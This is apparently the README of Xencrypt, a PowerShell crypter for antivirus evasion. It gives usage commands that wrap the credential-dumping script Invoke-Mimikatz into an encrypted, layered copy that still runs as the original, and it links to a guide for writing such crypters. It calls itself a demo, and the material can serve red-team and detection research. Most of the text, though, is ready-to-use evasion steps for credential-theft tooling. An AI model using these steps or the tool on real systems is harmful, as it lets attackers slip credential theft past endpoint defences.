A PowerShell script anti-virus evasion tool
Xentropy ( @SamuelAnttila )
SecForce ( @SECFORCE_LTD )
If you want to read about the design behind this tool and how to make your own crypter, there’s an article I wrote about it here: Write a crypter in any language
Don’t be a script kiddie, I made this GPLv3 so you can make your own modifications. This tool is intended as a demo for how easy it is to write your own crypter. It works for its intended purpose and I will not patch it to make it suitable for yours.
Xencrypt:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
You will now have an encrypted xenmimi.ps1 file in your current working directory. You can use it in the same way as you would the original script, so in this case:
Import-Module ./xenmimi.ps1
Invoke-Mimikatz
It also supports recursive layering via the -Iterations flag.
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Warning though, the files can get big and generating the output file can take a very long time depending on the scripts and number of iterations requested.